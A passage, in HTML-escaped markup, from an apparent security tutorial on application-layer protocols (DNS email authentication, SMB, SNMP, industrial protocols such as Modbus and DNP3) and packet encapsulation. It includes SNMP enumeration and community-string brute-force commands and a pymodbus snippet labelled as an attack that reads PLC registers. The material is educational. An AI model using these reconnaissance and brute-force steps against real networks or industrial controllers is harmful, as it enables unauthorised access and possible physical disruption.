  X-Frame-Options: Prevents clickjacking
  X-Content-Type-Options: nosniff: prevents MIME sniffing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DNS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DNS Transaction:
  Query:   A record for www.example.com?
  Response: www.example.com → 93.184.216.34

DNS record types and security:
  A:    IPv4 address mapping       ← Forward lookup
  AAAA: IPv6 address mapping
  CNAME: Alias to another name     ← Dangling CNAME = subdomain takeover vulnerability
  MX:   Mail server                ← Target for email spoofing if SPF/DKIM/DMARC missing
  TXT:  Arbitrary text             ← SPF, DKIM, DMARC verification records live here
  NS:   Authoritative nameservers  ← NS takeover = complete domain hijacking
  PTR:  Reverse lookup (IP → name)
  SOA:  Zone authority information
  SRV:  Service location           ← Used by Active Directory (Kerberos, LDAP SRV records)

SPF (Sender Policy Framework):
  TXT record listing which IPs may send email for a domain
  "v=spf1 ip4:203.0.113.0/24 include:sendgrid.net -all"
  Without SPF: anyone can send email claiming to be from your domain

DKIM (DomainKeys Identified Mail):
  Email digitally signed with private key
  Public key in DNS TXT record
  Without DKIM: email content can be forged/modified in transit

DMARC (Domain-based Message Authentication):
  Policy for handling emails that fail SPF/DKIM
  "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"
  p=reject: reject emails failing authentication
  Without DMARC with reject: phishing emails appear to come from your domain
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SMB — Server Message Block:&lt;/strong&gt;&lt;br&gt;
SMB is the Windows file and printer sharing protocol. It runs on TCP 445 (direct) and TCP 139 (over NetBIOS). SMB is the most attacked protocol in enterprise environments.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SMB versions and security:
  SMBv1: No encryption, no integrity, multiple critical vulnerabilities
         EternalBlue &lt;span class="o"&gt;(&lt;/span&gt;MS17-010&lt;span class="o"&gt;)&lt;/span&gt; exploits SMBv1 — WannaCry, NotPetya
         Should be DISABLED everywhere. Microsoft disabled it by default &lt;span class="k"&gt;in &lt;/span&gt;Windows 10/Server 2019

  SMBv2: Introduced &lt;span class="k"&gt;in &lt;/span&gt;Vista/2008. Improved performance and security.
  SMBv3: Introduced &lt;span class="k"&gt;in &lt;/span&gt;Windows 8/2012. Full encryption support.

SMB signing:
  Authentication and integrity protection &lt;span class="k"&gt;for &lt;/span&gt;SMB sessions
  Prevents NTLM relay attacks &lt;span class="o"&gt;(&lt;/span&gt;where captured NTLM authentication is relayed to another server&lt;span class="o"&gt;)&lt;/span&gt;
  Required on domain controllers but NOT enforced client-side by default
  This is why NTLM relay attacks &lt;span class="o"&gt;(&lt;/span&gt;Responder + ntlmrelayx&lt;span class="o"&gt;)&lt;/span&gt; work so effectively

Check SMB signing:
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb2-security-mode &lt;span class="nt"&gt;-p&lt;/span&gt; 445 target_ip
&lt;span class="c"&gt;# "message signing enabled but not required" → vulnerable to relay attack&lt;/span&gt;
&lt;span class="c"&gt;# "message signing enabled and required" → relay attack prevented&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SNMP — Simple Network Management Protocol:&lt;/strong&gt;&lt;br&gt;
SNMP manages and monitors network devices. Runs on UDP 161 (queries) and UDP 162 (traps).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SNMP versions and security &lt;span class="o"&gt;(&lt;/span&gt;critical &lt;span class="k"&gt;for &lt;/span&gt;OT environments&lt;span class="o"&gt;)&lt;/span&gt;:
  SNMPv1: Community strings &lt;span class="o"&gt;(&lt;/span&gt;plaintext passwords&lt;span class="o"&gt;)&lt;/span&gt;, no encryption
           Default communities: &lt;span class="s2"&gt;"public"&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="s2"&gt;"private"&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt;/write&lt;span class="o"&gt;)&lt;/span&gt;

  SNMPv2c: Minor improvements, still plaintext community strings

  SNMPv3: Authentication &lt;span class="o"&gt;(&lt;/span&gt;MD5/SHA&lt;span class="o"&gt;)&lt;/span&gt; + Encryption &lt;span class="o"&gt;(&lt;/span&gt;DES/AES&lt;span class="o"&gt;)&lt;/span&gt;
           Only secure version — should be the only one deployed

SNMP attack scenarios:
  Reconnaissance: Read MIB &lt;span class="o"&gt;(&lt;/span&gt;Management Information Base&lt;span class="o"&gt;)&lt;/span&gt; to get:
    - Device model, firmware version &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;targeted exploitation&lt;span class="o"&gt;)&lt;/span&gt;
    - Interface configurations, routing tables, ARP tables
    - System &lt;span class="nb"&gt;uptime&lt;/span&gt;, CPU/memory utilisation
    - Installed software list &lt;span class="o"&gt;(&lt;/span&gt;Windows SNMP&lt;span class="o"&gt;)&lt;/span&gt;

  Exploitation: Write access with default &lt;span class="s2"&gt;"private"&lt;/span&gt; community:
    - Change device configuration
    - Disable interfaces
    - Redirect routing
    - On managed switches: change VLAN assignments, disable ports

&lt;span class="c"&gt;# SNMP enumeration&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.1                    &lt;span class="c"&gt;# Walk entire MIB&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.1 1.3.6.1.2.1.1     &lt;span class="c"&gt;# System info&lt;/span&gt;
snmpwalk &lt;span class="nt"&gt;-v2c&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; public 192.168.1.1 1.3.6.1.2.1.4.20  &lt;span class="c"&gt;# IP address table&lt;/span&gt;
snmp-check &lt;span class="nt"&gt;-c&lt;/span&gt; public &lt;span class="nt"&gt;-v&lt;/span&gt; 2c 192.168.1.1                 &lt;span class="c"&gt;# Comprehensive enumeration&lt;/span&gt;

&lt;span class="c"&gt;# SNMP brute force community string&lt;/span&gt;
onesixtyone &lt;span class="nt"&gt;-c&lt;/span&gt; /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.1.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;OT/ICS Application Layer Protocols:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;These deserve extended treatment because they are unique to industrial environments and have almost no security built in.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Modbus TCP &lt;span class="o"&gt;(&lt;/span&gt;TCP 502&lt;span class="o"&gt;)&lt;/span&gt;:
  Designed &lt;span class="k"&gt;in &lt;/span&gt;1979 &lt;span class="k"&gt;for &lt;/span&gt;RS-232 serial communication
  No authentication, no encryption, no authorisation
  Anyone on the network can:
    - Read any coil/register &lt;span class="o"&gt;(&lt;/span&gt;FC01, FC02, FC03, FC04&lt;span class="o"&gt;)&lt;/span&gt;
    - Write any coil/register &lt;span class="o"&gt;(&lt;/span&gt;FC05, FC06, FC15, FC16&lt;span class="o"&gt;)&lt;/span&gt;
    - Execute any &lt;span class="k"&gt;function &lt;/span&gt;code
    - Cause denial of service by flooding

  Function Codes:
    0x01: Read Coil Status
    0x02: Read Input Status
    0x03: Read Holding Registers      ← Most common
    0x04: Read Input Registers
    0x05: Force Single Coil           ← Write output — direct physical control
    0x06: Preset Single Register
    0x0F: Force Multiple Coils
    0x10: Preset Multiple Registers   ← Set parameters — change setpoints
    0x11: Report Slave ID             ← Device fingerprinting
    0x17: Read/Write Multiple Registers

  Attack example — &lt;span class="nb"&gt;read &lt;/span&gt;all registers:
    import pymodbus.client as ModbusClient
    client &lt;span class="o"&gt;=&lt;/span&gt; ModbusClient.ModbusTcpClient&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'192.168.1.100'&lt;/span&gt;, &lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;502&lt;span class="o"&gt;)&lt;/span&gt;
    client.connect&lt;span class="o"&gt;()&lt;/span&gt;
    result &lt;span class="o"&gt;=&lt;/span&gt; client.read_holding_registers&lt;span class="o"&gt;(&lt;/span&gt;0, 100, &lt;span class="nv"&gt;slave&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1&lt;span class="o"&gt;)&lt;/span&gt;  &lt;span class="c"&gt;# Read 100 registers&lt;/span&gt;
    print&lt;span class="o"&gt;(&lt;/span&gt;result.registers&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="c"&gt;# No authentication required&lt;/span&gt;

DNP3 &lt;span class="o"&gt;(&lt;/span&gt;TCP 20000, UDP 20000&lt;span class="o"&gt;)&lt;/span&gt;:
  Used &lt;span class="k"&gt;in &lt;/span&gt;electric power, water, oil/gas SCADA
  Supports authentication &lt;span class="o"&gt;(&lt;/span&gt;SA&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;DNP3 Secure Authentication v5 &lt;span class="o"&gt;(&lt;/span&gt;SAv5&lt;span class="o"&gt;)&lt;/span&gt;
  but baseline DNP3 has no security

  Attack: spoofed DNP3 requests can control field devices
  Stuxnet used a variant of this concept

S7comm &lt;span class="o"&gt;(&lt;/span&gt;TCP 102 — Siemens S7 PLCs&lt;span class="o"&gt;)&lt;/span&gt;:
  Siemens-proprietary PLC communication protocol
  Used by Stuxnet to communicate with Siemens S7-315 and S7-417 PLCs
  No authentication &lt;span class="k"&gt;in &lt;/span&gt;original versions
  S7CommPlus &lt;span class="o"&gt;(&lt;/span&gt;S7-1200/1500&lt;span class="o"&gt;)&lt;/span&gt; has encryption but has been broken

  Tools: s7-200 &lt;span class="o"&gt;(&lt;/span&gt;Python library&lt;span class="o"&gt;)&lt;/span&gt;, Snap7 library

EtherNet/IP / CIP &lt;span class="o"&gt;(&lt;/span&gt;TCP 44818, UDP 2222&lt;span class="o"&gt;)&lt;/span&gt;:
  Used by Allen-Bradley/Rockwell Automation PLCs
  Common Industrial Protocol &lt;span class="o"&gt;(&lt;/span&gt;CIP&lt;span class="o"&gt;)&lt;/span&gt; over Ethernet
  No authentication by default

BACnet &lt;span class="o"&gt;(&lt;/span&gt;UDP 47808&lt;span class="o"&gt;)&lt;/span&gt;:
  Building Automation and Control protocol
  Used &lt;span class="k"&gt;for &lt;/span&gt;HVAC, lighting, access control &lt;span class="k"&gt;in &lt;/span&gt;buildings
  No authentication &lt;span class="k"&gt;in &lt;/span&gt;baseline protocol
  Many BACnet devices exposed on the internet via Shodan
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Layer 7 is simultaneously the most critical and most vulnerable layer. All user-visible functionality — and virtually all business logic — is implemented here. Application-layer attacks (SQLi, XSS, command injection) cause the most breaches. Industrial protocols at Layer 7 were designed for reliability in isolated networks, not for security in connected ones. The absence of authentication in Modbus, DNP3, and BACnet is not an oversight — it is a design decision from an era when network isolation was assumed. That assumption is now fatally broken.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. Encapsulation and Decapsulation — The Full Picture
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 The Journey of a Packet
&lt;/h3&gt;

&lt;p&gt;Understanding the complete journey of data from application to physical medium and back is essential for packet analysis, attack design, and forensics. Here is a complete example: your browser requesting &lt;a href="http://192.168.1.100/" rel="noopener noreferrer"&gt;http://192.168.1.100/&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nc"&gt;APPLICATION &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;Browser&lt;/span&gt; &lt;span class="n"&gt;constructs&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET / HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;Host: 192.168.1.100&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;User-Agent: ...&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;SESSION&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nc"&gt;PRESENTATION &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layers&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;HTTPS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;encrypts&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="nf"&gt;data &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;assume&lt;/span&gt; &lt;span class="n"&gt;plain&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nc"&gt;TRANSPORT &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;wraps&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;segment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt; &lt;span class="n"&gt;Port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;54321&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Dst&lt;/span&gt; &lt;span class="n"&gt;Port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Seq&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Ack&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ACK&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;PSH&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET / HTTP/1.1...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="err"&gt;↑&lt;/span&gt; &lt;span class="n"&gt;Note&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Three&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;way&lt;/span&gt; &lt;span class="n"&gt;handshake&lt;/span&gt; &lt;span class="n"&gt;already&lt;/span&gt; &lt;span class="n"&gt;completed&lt;/span&gt; &lt;span class="n"&gt;before&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="n"&gt;segment&lt;/span&gt;

&lt;span class="nc"&gt;NETWORK &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="n"&gt;wraps&lt;/span&gt; &lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;segment&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;TTL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Protocol&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;1.5&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Dst&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;1.100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;Segment&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;DATA&lt;/span&gt; &lt;span class="nc"&gt;LINK &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;ARP&lt;/span&gt; &lt;span class="n"&gt;resolves&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;1.100&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;MAC&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;66&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;already&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;Ethernet&lt;/span&gt; &lt;span class="n"&gt;wraps&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="n"&gt;packet&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Dst&lt;/span&gt; &lt;span class="n"&gt;MAC&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;66&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt; &lt;span class="n"&gt;MAC&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;AA&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;BB&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;CC&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;DD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;EE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;FF&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;EtherType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x0800&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IPv4&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="n"&gt;Packet&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;FCS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CRC32&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="nc"&gt;PHYSICAL &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;Ethernet&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt; &lt;span class="n"&gt;converted&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;electrical&lt;/span&gt; &lt;span class="n"&gt;signals&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;wire&lt;/span&gt;
  &lt;span class="mf"&gt;10101010.&lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt; &lt;span class="n"&gt;transmitted&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;voltage&lt;/span&gt; &lt;span class="n"&gt;levels&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;Cat6&lt;/span&gt; &lt;span class="n"&gt;cable&lt;/span&gt;

&lt;span class="err"&gt;━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;/span&gt;

&lt;span class="n"&gt;At&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;RECEIVING&lt;/span&gt; &lt;span class="n"&gt;END&lt;/span&gt; &lt;span class="err"&gt;—&lt;/span&gt; &lt;span class="nc"&gt;Decapsulation &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reverse&lt;/span&gt; &lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

&lt;span class="nc"&gt;PHYSICAL &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;Electrical&lt;/span&gt; &lt;span class="n"&gt;signals&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;Ethernet&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt;

&lt;span class="n"&gt;DATA&lt;/span&gt; &lt;span class="nc"&gt;LINK &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;Frame&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;Dst&lt;/span&gt; &lt;span class="n"&gt;MAC&lt;/span&gt; &lt;span class="n"&gt;mine&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="nc"&gt;YES &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;FCS&lt;/span&gt; &lt;span class="n"&gt;valid&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="k"&gt;pass&lt;/span&gt; &lt;span class="n"&gt;up&lt;/span&gt;
  &lt;span class="n"&gt;Strip&lt;/span&gt; &lt;span class="n"&gt;Ethernet&lt;/span&gt; &lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;trailer&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;expose&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="n"&gt;packet&lt;/span&gt;

&lt;span class="nc"&gt;NETWORK &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Layer&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;Dst&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="n"&gt;mine&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="nc"&gt;YES &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;1.100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;TTL&lt;/span&gt; &lt;span class="n"&gt;valid&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="nf"&gt;decrement &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
